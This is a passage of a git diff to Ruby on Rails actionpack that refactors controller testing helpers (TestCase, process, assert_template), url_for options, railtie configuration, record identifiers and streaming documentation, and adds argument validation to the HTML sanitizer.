-    # By default, render the <code>:edit</code> action for HTML requests with failure, unless
-    # the verb is POST.
+    # By default, render the <code>:edit</code> action for HTML requests with errors, unless
+    # the verb was POST.
     #
     def default_action
-      @action ||= ACTIONS_FOR_VERBS[request.request_method_symbol]
+      @action ||= DEFAULT_ACTIONS_FOR_VERBS[request.request_method_symbol]
     end
 
     def resource_errors
-      respond_to?("#{format}_resource_errors") ? send("#{format}_resource_errors") : resource.errors
+      respond_to?("#{format}_resource_errors", true) ? send("#{format}_resource_errors") : resource.errors
     end
 
     def json_resource_errors
       {:errors => resource.errors}
     end
+
+    def response_overridden?
+      @default_response.present?
+    end
   end
 end
diff --git a/actionpack/lib/action_controller/metal/session_management.rb b/actionpack/lib/action_controller/metal/session_management.rb
deleted file mode 100644
index 91d89ff9a4..0000000000
--- a/actionpack/lib/action_controller/metal/session_management.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-module ActionController #:nodoc:
-  module SessionManagement #:nodoc:
-    extend ActiveSupport::Concern
-
-    module ClassMethods
-
-    end
-  end
-end
diff --git a/actionpack/lib/action_controller/metal/streaming.rb b/actionpack/lib/action_controller/metal/streaming.rb
index 5fe5334458..9f3c997024 100644
--- a/actionpack/lib/action_controller/metal/streaming.rb
+++ b/actionpack/lib/action_controller/metal/streaming.rb
@@ -1,4 +1,3 @@
-require 'active_support/core_ext/file/path'
 require 'rack/chunked'
 
 module ActionController #:nodoc:
@@ -140,17 +139,14 @@ module ActionController #:nodoc:
   # session or flash after the template starts rendering will not propagate
   # to the client.
   #
-  # If you try to modify cookies, session or flash, an +ActionDispatch::ClosedError+
-  # will be raised, showing those objects are closed for modification.
-  #
   # == Middlewares
   #
   # Middlewares that need to manipulate the body won't work with streaming.
   # You should disable those middlewares whenever streaming in development
-  # or production. For instance, +Rack::Bug+ won't work when streaming as it
+  # or production. For instance, <tt>Rack::Bug</tt> won't work when streaming as it
   # needs to inject contents in the HTML body.
   #
-  # Also +Rack::Cache+ won't work with streaming as it does not support
+  # Also <tt>Rack::Cache</tt> won't work with streaming as it does not support
   # streaming bodies yet. Whenever streaming Cache-Control is automatically
   # set to "no-cache".
   #
@@ -163,7 +159,7 @@ module ActionController #:nodoc:
   # Currently, when an exception happens in development or production, Rails
   # will automatically stream to the client:
   #
-  #   "><script type="text/javascript">window.location = "/500.html"</script></html>
+  #   "><script>window.location = "/500.html"</script></html>
   #
   # The first two characters (">) are required in case the exception happens
   # while rendering attributes for a given tag. You can check the real cause
@@ -195,7 +191,7 @@ module ActionController #:nodoc:
   # ==== Passenger
   #
   # To be described.
-  # 
+  #
   module Streaming
     extend ActiveSupport::Concern
 
@@ -217,7 +213,7 @@ module ActionController #:nodoc:
       end
     end
 
-    # Call render_to_body if we are streaming instead of usual +render+.
+    # Call render_body if we are streaming instead of usual +render+.
     def _render_template(options) #:nodoc:
       if options.delete(:stream)
         Rack::Chunked::Body.new view_renderer.render_body(view_context, options)
diff --git a/actionpack/lib/action_controller/metal/testing.rb b/actionpack/lib/action_controller/metal/testing.rb
index d1813ee745..0377b8c4cf 100644
--- a/actionpack/lib/action_controller/metal/testing.rb
+++ b/actionpack/lib/action_controller/metal/testing.rb
@@ -4,30 +4,25 @@ module ActionController
 
     include RackDelegation
 
-    def recycle!
-      @_url_options = nil
-    end
-
-
-    # TODO: Clean this up
-    def process_with_new_base_test(request, response)
-      @_request = request
-      @_response = response
-      @_response.request = request
-      ret = process(request.parameters[:action])
-      if cookies = @_request.env['action_dispatch.cookies']
-        cookies.write(@_response)
-      end
-      @_response.prepare!
-      ret
-    end
-
     # TODO : Rewrite tests using controller.headers= to use Rack env
     def headers=(new_headers)
       @_response ||= ActionDispatch::Response.new
       @_response.headers.replace(new_headers)
     end
 
+    # Behavior specific to functional tests
+    module Functional # :nodoc:
+      def set_response!(request)
+      end
+
+      def recycle!
+        @_url_options = nil
+        self.response_body = nil
+        self.formats = nil
+        self.params = nil
+      end
+    end
+
     module ClassMethods
       def before_filters
         _process_action_callbacks.find_all{|x| x.kind == :before}.map{|x| x.name}
diff --git a/actionpack/lib/action_controller/metal/url_for.rb b/actionpack/lib/action_controller/metal/url_for.rb
index 0b40b1fc4c..0cdd17bc2e 100644
--- a/actionpack/lib/action_controller/metal/url_for.rb
+++ b/actionpack/lib/action_controller/metal/url_for.rb
@@ -1,25 +1,22 @@
-# Includes +url_for+ into the host class. The class has to provide a +RouteSet+ by implementing 
-# the <tt>_routes</tt> method. Otherwise, an exception will be raised.
-#
-# In addition to <tt>AbstractController::UrlFor</tt>, this module accesses the HTTP layer to define 
-# url options like the +host+. In order to do so, this module requires the host class
-# to implement +env+ and +request+, which need to be a Rack-compatible.
-#
-# Example:
-#
-#   class RootUrl
-#     include ActionController::UrlFor
-#     include Rails.application.routes.url_helpers
-#
-#     delegate :env, :request, :to => :controller
-#
-#     def initialize(controller)
-#       @controller = controller
-#       @url        = root_path # named route from the application.
-#     end
-#   end
-# 
 module ActionController
+  # Includes +url_for+ into the host class. The class has to provide a +RouteSet+ by implementing
+  # the <tt>_routes</tt> method. Otherwise, an exception will be raised.
+  #
+  # In addition to <tt>AbstractController::UrlFor</tt>, this module accesses the HTTP layer to define
+  # url options like the +host+. In order to do so, this module requires the host class
+  # to implement +env+ and +request+, which need to be a Rack-compatible.
+  #
+  #   class RootUrl
+  #     include ActionController::UrlFor
+  #     include Rails.application.routes.url_helpers
+  #
+  #     delegate :env, :request, :to => :controller
+  #
+  #     def initialize(controller)
+  #       @controller = controller
+  #       @url        = root_path # named route from the application.
+  #     end
+  #   end
   module UrlFor
     extend ActiveSupport::Concern
 
@@ -30,18 +27,23 @@ module ActionController
         :host => request.host,
         :port => request.optional_port,
         :protocol => request.protocol,
-        :_path_segments => request.symbolized_path_parameters
+        :_recall => request.symbolized_path_parameters
       ).freeze
 
-      if _routes.equal?(env["action_dispatch.routes"])
+      if (same_origin = _routes.equal?(env["action_dispatch.routes"])) ||
+         (script_name = env["ROUTES_#{_routes.object_id}_SCRIPT_NAME"]) ||
+         (original_script_name = env['SCRIPT_NAME'])
         @_url_options.dup.tap do |options|
-          options[:script_name] = request.script_name.dup
+          if original_script_name
+            options[:original_script_name] = original_script_name
+          else
+            options[:script_name] = same_origin ? request.script_name.dup : script_name
+          end
           options.freeze
         end
       else
         @_url_options
       end
     end
-
   end
 end
diff --git a/actionpack/lib/action_controller/model_naming.rb b/actionpack/lib/action_controller/model_naming.rb
new file mode 100644
index 0000000000..785221dc3d
--- /dev/null
+++ b/actionpack/lib/action_controller/model_naming.rb
@@ -0,0 +1,12 @@
+module ActionController
+  module ModelNaming
+    # Converts the given object to an ActiveModel compliant one.
+    def convert_to_model(object)
+      object.respond_to?(:to_model) ? object.to_model : object
+    end
+
+    def model_name_from_record_or_class(record_or_class)
+      (record_or_class.is_a?(Class) ? record_or_class : convert_to_model(record_or_class).class).model_name
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/railtie.rb b/actionpack/lib/action_controller/railtie.rb
index f0c29825ba..3ecc105e22 100644
--- a/actionpack/lib/action_controller/railtie.rb
+++ b/actionpack/lib/action_controller/railtie.rb
@@ -3,38 +3,51 @@ require "action_controller"
 require "action_dispatch/railtie"
 require "action_view/railtie"
 require "abstract_controller/railties/routes_helpers"
-require "action_controller/railties/paths"
+require "action_controller/railties/helpers"
 
 module ActionController
-  class Railtie < Rails::Railtie
+  class Railtie < Rails::Railtie #:nodoc:
     config.action_controller = ActiveSupport::OrderedOptions.new
 
-    initializer "action_controller.logger" do
-      ActiveSupport.on_load(:action_controller) { self.logger ||= Rails.logger }
+    config.eager_load_namespaces << ActionController
+
+    initializer "action_controller.assets_config", :group => :all do |app|
+      app.config.action_controller.assets_dir ||= app.config.paths["public"].first
     end
 
-    initializer "action_controller.initialize_framework_caches" do
-      ActiveSupport.on_load(:action_controller) { self.cache_store ||= RAILS_CACHE }
+    initializer "action_controller.set_helpers_path" do |app|
+      ActionController::Helpers.helpers_path = app.helpers_paths
     end
 
     initializer "action_controller.set_configs" do |app|
       paths   = app.config.paths
       options = app.config.action_controller
 
-      options.assets_dir           ||= paths["public"].first
+      options.logger               ||= Rails.logger
+      options.cache_store          ||= Rails.cache
+
       options.javascripts_dir      ||= paths["public/javascripts"].first
       options.stylesheets_dir      ||= paths["public/stylesheets"].first
       options.page_cache_directory ||= paths["public"].first
 
-      # make sure readers methods get compiled
+      # Ensure readers methods get compiled
       options.asset_path           ||= app.config.asset_path
       options.asset_host           ||= app.config.asset_host
+      options.relative_url_root    ||= app.config.relative_url_root
 
       ActiveSupport.on_load(:action_controller) do
         include app.routes.mounted_helpers
         extend ::AbstractController::Railties::RoutesHelpers.with(app.routes)
-        extend ::ActionController::Railties::Paths.with(app)
-        options.each { |k,v| send("#{k}=", v) }
+        extend ::ActionController::Railties::Helpers
+
+        options.each do |k,v|
+          k = "#{k}="
+          if respond_to?(k)
+            send(k, v)
+          elsif !Base.respond_to?(k)
+            raise "Invalid option key: #{k}"
+          end
+        end
       end
     end
 
diff --git a/actionpack/lib/action_controller/railties/helpers.rb b/actionpack/lib/action_controller/railties/helpers.rb
new file mode 100644
index 0000000000..3985c6b273
--- /dev/null
+++ b/actionpack/lib/action_controller/railties/helpers.rb
@@ -0,0 +1,22 @@
+module ActionController
+  module Railties
+    module Helpers
+      def inherited(klass)
+        super
+        return unless klass.respond_to?(:helpers_path=)
+
+        if namespace = klass.parents.detect { |m| m.respond_to?(:railtie_helpers_paths) }
+          paths = namespace.railtie_helpers_paths
+        else
+          paths = ActionController::Helpers.helpers_path
+        end
+
+        klass.helpers_path = paths
+
+        if klass.superclass == ActionController::Base && ActionController::Base.include_all_helpers
+          klass.helper :all
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/railties/paths.rb b/actionpack/lib/action_controller/railties/paths.rb
deleted file mode 100644
index 699c44c62c..0000000000
--- a/actionpack/lib/action_controller/railties/paths.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-module ActionController
-  module Railties
-    module Paths
-      def self.with(app)
-        Module.new do
-          define_method(:inherited) do |klass|
-            super(klass)
-
-            if namespace = klass.parents.detect {|m| m.respond_to?(:_railtie) }
-              paths = namespace._railtie.paths["app/helpers"].existent
-            else
-              paths = app.config.helpers_paths
-            end
-
-            klass.helpers_path = paths
-            if klass.superclass == ActionController::Base && ActionController::Base.include_all_helpers
-              klass.helper :all
-            end
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_controller/record_identifier.rb b/actionpack/lib/action_controller/record_identifier.rb
index 9c38ff44d8..d3ac406618 100644
--- a/actionpack/lib/action_controller/record_identifier.rb
+++ b/actionpack/lib/action_controller/record_identifier.rb
@@ -1,9 +1,10 @@
 require 'active_support/core_ext/module'
+require 'action_controller/model_naming'
 
 module ActionController
   # The record identifier encapsulates a number of naming conventions for dealing with records, like Active Records or
-  # Active Resources or pretty much any other model type that has an id. These patterns are then used to try elevate
-  # the view actions to a higher logical level. Example:
+  # pretty much any other model type that has an id. These patterns are then used to try elevate the view actions to
+  # a higher logical level.
   #
   #   # routes
   #   resources :posts
@@ -27,10 +28,12 @@ module ActionController
   module RecordIdentifier
     extend self
 
+    include ModelNaming
+
     JOIN = '_'.freeze
     NEW = 'new'.freeze
 
-    # The DOM class convention is to use the singular form of an object or class. Examples:
+    # The DOM class convention is to use the singular form of an object or class.
     #
     #   dom_class(post)   # => "post"
     #   dom_class(Person) # => "person"
@@ -40,12 +43,12 @@ module ActionController
     #   dom_class(post, :edit)   # => "edit_post"
     #   dom_class(Person, :edit) # => "edit_person"
     def dom_class(record_or_class, prefix = nil)
-      singular = ActiveModel::Naming.param_key(record_or_class)
+      singular = model_name_from_record_or_class(record_or_class).param_key
       prefix ? "#{prefix}#{JOIN}#{singular}" : singular
     end
 
     # The DOM id convention is to use the singular form of an object or class with the id following an underscore.
-    # If no id is found, prefix with "new_" instead. Examples:
+    # If no id is found, prefix with "new_" instead.
     #
     #   dom_id(Post.find(45))       # => "post_45"
     #   dom_id(Post.new)            # => "new_post"
@@ -53,6 +56,7 @@ module ActionController
     # If you need to address multiple instances of the same class in the same view, you can prefix the dom_id:
     #
     #   dom_id(Post.find(45), :edit) # => "edit_post_45"
+    #   dom_id(Post.new, :custom)    # => "custom_post"
     def dom_id(record, prefix = nil)
       if record_id = record_key_for_dom_id(record)
         "#{dom_class(record, prefix)}#{JOIN}#{record_id}"
@@ -72,14 +76,8 @@ module ActionController
     # method that replaces all characters that are invalid inside DOM ids, with valid ones. You need to
     # make sure yourself that your dom ids are valid, in case you overwrite this method.
     def record_key_for_dom_id(record)
-      record = record.to_model if record.respond_to?(:to_model)
-      key = record.to_key
-      key ? sanitize_dom_id(key.join('_')) : key
-    end
-
-    # Replaces characters that are invalid in HTML DOM ids with valid ones.
-    def sanitize_dom_id(candidate_id)
-      candidate_id # TODO implement conversion to valid DOM id values
+      key = convert_to_model(record).to_key
+      key ? key.join('_') : key
     end
   end
 end
diff --git a/actionpack/lib/action_controller/test_case.rb b/actionpack/lib/action_controller/test_case.rb
index 6913c1ef4a..bb693c6494 100644
--- a/actionpack/lib/action_controller/test_case.rb
+++ b/actionpack/lib/action_controller/test_case.rb
@@ -1,7 +1,5 @@
 require 'rack/session/abstract/id'
-require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/object/to_query'
-require 'active_support/core_ext/class/attribute'
 require 'active_support/core_ext/module/anonymous'
 
 module ActionController
@@ -20,20 +18,25 @@ module ActionController
 
       ActiveSupport::Notifications.subscribe("render_template.action_view") do |name, start, finish, id, payload|
         path = payload[:layout]
-        @layouts[path] += 1
+        if path
+          @layouts[path] += 1
+          if path =~ /^layouts\/(.*)/
+            @layouts[$1] += 1
+          end
+        end
       end
 
       ActiveSupport::Notifications.subscribe("!render_template.action_view") do |name, start, finish, id, payload|
         path = payload[:virtual_path]
         next unless path
         partial = path =~ /^.*\/_[^\/]*$/
+
         if partial
           @partials[path] += 1
           @partials[path.split("/").last] += 1
-          @templates[path] += 1
-        else
-          @templates[path] += 1
         end
+
+        @templates[path] += 1
       end
     end
 
@@ -51,11 +54,21 @@ module ActionController
 
     # Asserts that the request was rendered with the appropriate template file or partials.
     #
-    # ==== Examples
-    #
     #   # assert that the "new" view template was rendered
     #   assert_template "new"
     #
+    #   # assert that the exact template "admin/posts/new" was rendered
+    #   assert_template %r{\Aadmin/posts/new\Z}
+    #
+    #   # assert that the layout 'admin' was rendered
+    #   assert_template :layout => 'admin'
+    #   assert_template :layout => 'layouts/admin'
+    #   assert_template :layout => :admin
+    #
+    #   # assert that no layout was rendered
+    #   assert_template :layout => nil
+    #   assert_template :layout => false
+    #
     #   # assert that the "_customer" partial was rendered twice
     #   assert_template :partial => '_customer', :count => 2
     #
@@ -67,25 +80,40 @@ module ActionController
     #
     #   # assert that the "_customer" partial was rendered with a specific object
     #   assert_template :partial => '_customer', :locals => { :customer => @customer }
-    #
     def assert_template(options = {}, message = nil)
-      validate_request!
+      # Force body to be read in case the
+      # template is being streamed
+      response.body
 
       case options
-      when NilClass, String, Symbol
+      when NilClass, String, Symbol, Regexp
         options = options.to_s if Symbol === options
         rendered = @templates
-        msg = build_message(message,
-                "expecting <?> but rendering with <?>",
-                options, rendered.keys.join(', '))
-        assert_block(msg) do
+        msg = message || sprintf("expecting <%s> but rendering with <%s>",
+                options.inspect, rendered.keys)
+        matches_template =
           if options
             rendered.any? { |t,num| t.match(options) }
           else
             @templates.blank?
           end
-        end
+        assert matches_template, msg
       when Hash
+        if options.key?(:layout)
+          expected_layout = options[:layout]
+          msg = message || sprintf("expecting layout <%s> but action rendered <%s>",
+                  expected_layout, @layouts.keys)
+
+          case expected_layout
+          when String, Symbol
+            assert_includes @layouts.keys, expected_layout.to_s, msg
+          when Regexp
+            assert(@layouts.keys.any? {|l| l =~ expected_layout }, msg)
+          when nil, false
+            assert(@layouts.empty?, msg)
+          end
+        end
+
         if expected_partial = options[:partial]
           if expected_locals = options[:locals]
             actual_locals = @locals[expected_partial.to_s.sub(/^_/,'')]
@@ -94,38 +122,28 @@ module ActionController
             end
           elsif expected_count = options[:count]
             actual_count = @partials[expected_partial]
-            msg = build_message(message,
-                    "expecting ? to be rendered ? time(s) but rendered ? time(s)",
+            msg = message || sprintf("expecting %s to be rendered %s time(s) but rendered %s time(s)",
                      expected_partial, expected_count, actual_count)
             assert(actual_count == expected_count.to_i, msg)
-          elsif options.key?(:layout)
-            msg = build_message(message,
-                    "expecting layout <?> but action rendered <?>",
-                    expected_layout, @layouts.keys)
-
-            case layout = options[:layout]
-            when String
-              assert(@layouts.include?(expected_layout), msg)
-            when Regexp
-              assert(@layouts.any? {|l| l =~ layout }, msg)
-            when nil
-              assert(@layouts.empty?, msg)
-            end
           else
-            msg = build_message(message,
-                    "expecting partial <?> but action rendered <?>",
+            msg = message || sprintf("expecting partial <%s> but action rendered <%s>",
                     options[:partial], @partials.keys)
-            assert(@partials.include?(expected_partial), msg)
+            assert_includes @partials, expected_partial, msg
           end
-        else
+        elsif options.key?(:partial)
           assert @partials.empty?,
             "Expected no partials to be rendered"
         end
+      else
+        raise ArgumentError, "assert_template only accepts a String, Symbol, Hash, Regexp, or nil"
       end
     end
   end
 
   class TestRequest < ActionDispatch::TestRequest #:nodoc:
+    DEFAULT_ENV = ActionDispatch::TestRequest::DEFAULT_ENV.dup
+    DEFAULT_ENV.delete 'PATH_INFO'
+
     def initialize(env = {})
       super
 
@@ -133,29 +151,28 @@ module ActionController
       self.session_options = TestSession::DEFAULT_OPTIONS.merge(:id => SecureRandom.hex(16))
     end
 
-    class Result < ::Array #:nodoc:
-      def to_s() join '/' end
-      def self.new_escaped(strings)
-        new strings.collect {|str| uri_parser.unescape str}
-      end
-    end
-
     def assign_parameters(routes, controller_path, action, parameters = {})
       parameters = parameters.symbolize_keys.merge(:controller => controller_path, :action => action)
       extra_keys = routes.extra_keys(parameters)
       non_path_parameters = get? ? query_parameters : request_parameters
       parameters.each do |key, value|
-        if value.is_a? Fixnum
-          value = value.to_s
-        elsif value.is_a? Array
-          value = Result.new(value.map { |v| v.is_a?(String) ? v.dup : v })
-        elsif value.is_a? String
+        if value.is_a?(Array) && (value.frozen? || value.any?(&:frozen?))
+          value = value.map{ |v| v.duplicable? ? v.dup : v }
+        elsif value.is_a?(Hash) && (value.frozen? || value.any?{ |k,v| v.frozen? })
+          value = Hash[value.map{ |k,v| [k, v.duplicable? ? v.dup : v] }]
+        elsif value.frozen? && value.duplicable?
           value = value.dup
         end
 
         if extra_keys.include?(key.to_sym)
           non_path_parameters[key] = value
         else
+          if value.is_a?(Array)
+            value = value.map(&:to_param)
+          else
+            value = value.to_param
+          end
+
           path_parameters[key.to_s] = value
         end
       end
@@ -191,18 +208,17 @@ module ActionController
       cookie_jar.update(@set_cookies)
       cookie_jar.recycle!
     end
+
+    private
+
+    def default_env
+      DEFAULT_ENV
+    end
   end
 
   class TestResponse < ActionDispatch::TestResponse
     def recycle!
-      @status = 200
-      @header = {}
-      @writer = lambda { |x| @body << x }
-      @block = nil
-      @length = 0
-      @body = []
-      @charset = @content_type = nil
-      @request = @template = nil
+      initialize
     end
   end
 
@@ -229,7 +245,7 @@ module ActionController
   # == Basic example
   #
   # Functional tests are written as follows:
-  # 1. First, one uses the +get+, +post+, +put+, +delete+ or +head+ method to simulate
+  # 1. First, one uses the +get+, +post+, +patch+, +put+, +delete+ or +head+ method to simulate
   #    an HTTP request.
   # 2. Then, one asserts whether the current state is as expected. "State" can be anything:
   #    the controller's HTTP response, the database contents, etc.
@@ -250,6 +266,13 @@ module ActionController
   #     end
   #   end
   #
+  # You can also send a real document in the simulated HTTP request.
+  #
+  #   def test_create
+  #     json = {:book => { :title => "Love Hina" }}.to_json
+  #     post :create, json
+  #   end
+  #
   # == Special instance variables
   #
   # ActionController::TestCase will also automatically provide the following instance
@@ -296,11 +319,11 @@ module ActionController
   #   assert_equal "Dave", cookies[:name] # makes sure that a cookie called :name was set as "Dave"
   #   assert flash.empty? # makes sure that there's nothing in the flash
   #
-  # For historic reasons, the assigns hash uses string-based keys. So assigns[:person] won't work, but assigns["person"] will. To
+  # For historic reasons, the assigns hash uses string-based keys. So <tt>assigns[:person]</tt> won't work, but <tt>assigns["person"]</tt> will. To
   # appease our yearning for symbols, though, an alternative accessor has been devised using a method call instead of index referencing.
-  # So assigns(:person) will work just like assigns["person"], but again, assigns[:person] will not work.
+  # So <tt>assigns(:person)</tt> will work just like <tt>assigns["person"]</tt>, but again, <tt>assigns[:person]</tt> will not work.
   #
-  # On top of the collections, you have the complete url that a given action redirected to available in redirect_to_url.
+  # On top of the collections, you have the complete url that a given action redirected to available in <tt>redirect_to_url</tt>.
   #
   # For redirects within the same controller, you can even call follow_redirect and the redirect will be followed, triggering another
   # action call which can then be asserted against.
@@ -320,10 +343,15 @@ module ActionController
   # == \Testing named routes
   #
   # If you're using named routes, they can be easily tested using the original named routes' methods straight in the test case.
-  # Example:
   #
   #  assert_redirected_to page_url(:title => 'foo')
   class TestCase < ActiveSupport::TestCase
+
+    # Use AS::TestCase for the base class when describing a model
+    register_spec_type(self) do |desc|
+      Class === desc && desc < ActionController::Base
+    end
+
     module Behavior
       extend ActiveSupport::Concern
       include ActionDispatch::TestProcess
@@ -333,16 +361,15 @@ module ActionController
       module ClassMethods
 
         # Sets the controller class name. Useful if the name can't be inferred from test class.
-        # Normalizes +controller_class+ before using. Examples:
+        # Normalizes +controller_class+ before using.
         #
         #   tests WidgetController
         #   tests :widget
         #   tests 'widget'
-        #
         def tests(controller_class)
           case controller_class
           when String, Symbol
-            self.controller_class = "#{controller_class.to_s.underscore}_controller".camelize.constantize
+            self.controller_class = "#{controller_class.to_s.camelize}Controller".constantize
           when Class
             self.controller_class = controller_class
           else
@@ -374,28 +401,38 @@ module ActionController
       end
 
       # Executes a request simulating GET HTTP method and set/volley the response
-      def get(action, parameters = nil, session = nil, flash = nil)
-        process(action, parameters, session, flash, "GET")
+      def get(action, *args)
+        process(action, "GET", *args)
       end
 
       # Executes a request simulating POST HTTP method and set/volley the response
-      def post(action, parameters = nil, session = nil, flash = nil)
-        process(action, parameters, session, flash, "POST")
+      def post(action, *args)
+        process(action, "POST", *args)
+      end
+
+      # Executes a request simulating PATCH HTTP method and set/volley the response
+      def patch(action, *args)
+        process(action, "PATCH", *args)
       end
 
       # Executes a request simulating PUT HTTP method and set/volley the response
-      def put(action, parameters = nil, session = nil, flash = nil)
-        process(action, parameters, session, flash, "PUT")
+      def put(action, *args)
+        process(action, "PUT", *args)
       end
 
       # Executes a request simulating DELETE HTTP method and set/volley the response
-      def delete(action, parameters = nil, session = nil, flash = nil)
-        process(action, parameters, session, flash, "DELETE")
+      def delete(action, *args)
+        process(action, "DELETE", *args)
       end
 
       # Executes a request simulating HEAD HTTP method and set/volley the response
-      def head(action, parameters = nil, session = nil, flash = nil)
-        process(action, parameters, session, flash, "HEAD")
+      def head(action, *args)
+        process(action, "HEAD", *args)
+      end
+
+      # Executes a request simulating OPTIONS HTTP method and set/volley the response
+      def options(action, *args)
+        process(action, "OPTIONS", *args)
       end
 
       def xml_http_request(request_method, action, parameters = nil, session = nil, flash = nil)
@@ -414,76 +451,98 @@ module ActionController
           Hash[hash_or_array_or_value.map{|key, value| [key, paramify_values(value)] }]
         when Array
           hash_or_array_or_value.map {|i| paramify_values(i)}
-        when Rack::Test::UploadedFile
+        when Rack::Test::UploadedFile, ActionDispatch::Http::UploadedFile
           hash_or_array_or_value
         else
           hash_or_array_or_value.to_param
         end
       end
 
-      def process(action, parameters = nil, session = nil, flash = nil, http_method = 'GET')
+      def process(action, http_method = 'GET', *args)
+        check_required_ivars
+        http_method, args = handle_old_process_api(http_method, args)
+
+        if args.first.is_a?(String) && http_method != 'HEAD'
+          @request.env['RAW_POST_DATA'] = args.shift
+        end
+
+        parameters, session, flash = args
+
         # Ensure that numbers and symbols passed as params are converted to
         # proper params, as is the case when engaging rack.
-        parameters = paramify_values(parameters)
+        parameters = paramify_values(parameters) if html_format?(parameters)
 
-        # Sanity check for required instance variables so we can give an
-        # understandable error message.
-        %w(@routes @controller @request @response).each do |iv_name|
-          if !(instance_variable_names.include?(iv_name) || instance_variable_names.include?(iv_name.to_sym)) || instance_variable_get(iv_name).nil?
-            raise "#{iv_name} is nil: make sure you set it in your test's setup method."
-          end
+        @html_document = nil
+
+        unless @controller.respond_to?(:recycle!)
+          @controller.extend(Testing::Functional)
+          @controller.class.class_eval { include Testing }
         end
 
         @request.recycle!
         @response.recycle!
-        @controller.response_body = nil
-        @controller.formats = nil
-        @controller.params = nil
+        @controller.recycle!
 
-        @html_document = nil
         @request.env['REQUEST_METHOD'] = http_method
 
         parameters ||= {}
         controller_class_name = @controller.class.anonymous? ?
-          "anonymous_controller" :
+          "anonymous" :
           @controller.class.name.underscore.sub(/_controller$/, '')
 
         @request.assign_parameters(@routes, controller_class_name, action.to_s, parameters)
 
-        @request.session = ActionController::TestSession.new(session) if session
+        @request.session.update(session) if session
         @request.session["flash"] = @request.flash.update(flash || {})
-        @request.session["flash"].sweep
 
-        @controller.request = @request
-        @controller.params.merge!(parameters)
+        @controller.request  = @request
+        @controller.response = @response
+
         build_request_uri(action, parameters)
-        @controller.class.class_eval { include Testing }
-        @controller.recycle!
-        @controller.process_with_new_base_test(@request, @response)
+
+        name = @request.parameters[:action]
+
+        @controller.process(name)
+
+        if cookies = @request.env['action_dispatch.cookies']
+          cookies.write(@response)
+        end
+        @response.prepare!
+
         @assigns = @controller.respond_to?(:view_assigns) ? @controller.view_assigns : {}
         @request.session.delete('flash') if @request.session['flash'].blank?
         @response
       end
 
       def setup_controller_request_and_response
-        @request = TestRequest.new
-        @response = TestResponse.new
+        @request          = build_request
+        @response         = build_response
+        @response.request = @request
+
+        @controller = nil unless defined? @controller
 
         if klass = self.class.controller_class
-          @controller ||= klass.new rescue nil
+          unless @controller
+            begin
+              @controller = klass.new
+            rescue
+              warn "could not construct controller #{klass}" if $VERBOSE
+            end
+          end
         end
 
-        @request.env.delete('PATH_INFO')
-
-        if defined?(@controller) && @controller
+        if @controller
           @controller.request = @request
           @controller.params = {}
         end
       end
 
-      # Cause the action to be rescued according to the regular rules for rescue_action when the visitor is not local
-      def rescue_action_in_public!
-        @request.remote_addr = '208.77.188.166' # example.com
+      def build_request
+        TestRequest.new
+      end
+
+      def build_response
+        TestResponse.new
       end
 
       included do
@@ -493,7 +552,27 @@ module ActionController
         setup :setup_controller_request_and_response
       end
 
-    private
+      private
+      def check_required_ivars
+        # Sanity check for required instance variables so we can give an
+        # understandable error message.
+        [:@routes, :@controller, :@request, :@response].each do |iv_name|
+          if !instance_variable_defined?(iv_name) || instance_variable_get(iv_name).nil?
+            raise "#{iv_name} is nil: make sure you set it in your test's setup method."
+          end
+        end
+      end
+
+      def handle_old_process_api(http_method, args)
+        # 4.0: Remove this method.
+        if http_method.is_a?(Hash)
+          ActiveSupport::Deprecation.warn("TestCase#process now expects the HTTP method as second argument: process(action, http_method, params, session, flash)")
+          args.unshift(http_method)
+          http_method = args.last.is_a?(String) ? args.last : "GET"
+        end
+
+        [http_method, args]
+      end
 
       def build_request_uri(action, parameters)
         unless @request.env["PATH_INFO"]
@@ -502,7 +581,7 @@ module ActionController
             :only_path => true,
             :action => action,
             :relative_url_root => nil,
-            :_path_segments => @request.symbolized_path_parameters)
+            :_recall => @request.symbolized_path_parameters)
 
           url, query_string = @routes.url_for(options).split("?", 2)
 
@@ -511,6 +590,11 @@ module ActionController
           @request.env["QUERY_STRING"] = query_string || ""
         end
       end
+
+      def html_format?(parameters)
+        return true unless parameters.is_a?(Hash)
+        Mime.fetch(parameters[:format]) { Mime['html'] }.html?
+      end
     end
 
     # When the request.remote_addr remains the default for testing, which is 0.0.0.0, the exception is simply raised inline
@@ -520,7 +604,7 @@ module ActionController
     #
     # The exception is stored in the exception accessor for further inspection.
     module RaiseActionExceptions
-      def self.included(base)
+      def self.included(base) #:nodoc:
         unless base.method_defined?(:exception) && base.method_defined?(:exception=)
           base.class_eval do
             attr_accessor :exception
diff --git a/actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb b/actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb
index af06bffa16..6b4ececda2 100644
--- a/actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb
+++ b/actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb
@@ -1,10 +1,11 @@
 require 'set'
 require 'cgi'
-require 'active_support/core_ext/class/attribute'
+require 'active_support/core_ext/class/attribute_accessors'
 
 module HTML
   class Sanitizer
     def sanitize(text, options = {})
+      validate_options(options)
       return text unless sanitizeable?(text)
       tokenize(text, options).join
     end
@@ -27,6 +28,16 @@ module HTML
     def process_node(node, result, options)
       result << node.to_s
     end
+
+    def validate_options(options)
+      if options[:tags] && !options[:tags].is_a?(Enumerable)
+        raise ArgumentError, "You should pass :tags as an Enumerable"
+      end
+
+      if options[:attributes] && !options[:attributes].is_a?(Enumerable)
+        raise ArgumentError, "You should pass :attributes as an Enumerable"
+      end
+    end
   end
 
   class FullSanitizer < Sanitizer
@@ -88,7 +99,7 @@ module HTML
     self.allowed_protocols      = Set.new(%w(ed2k ftp http https irc mailto news gopher nntp telnet webcal xmpp callto
       feed svn urn aim rsync tag ssh sftp rtsp afs))
 
-    # Specifies the default Set of acceptable css keywords that #sanitize and #sanitize_css will accept.
+    # Specifies the default Set of acceptable css properties that #sanitize and #sanitize_css will accept.
     self.allowed_css_properties = Set.new(%w(azimuth background-color border-bottom-color border-collapse
       border-color border-left-color border-right-color border-top-color clear color cursor direction display
       elevation float font font-family font-size font-style font-variant font-weight height letter-spacing line-height
@@ -171,7 +182,7 @@ module HTML
 
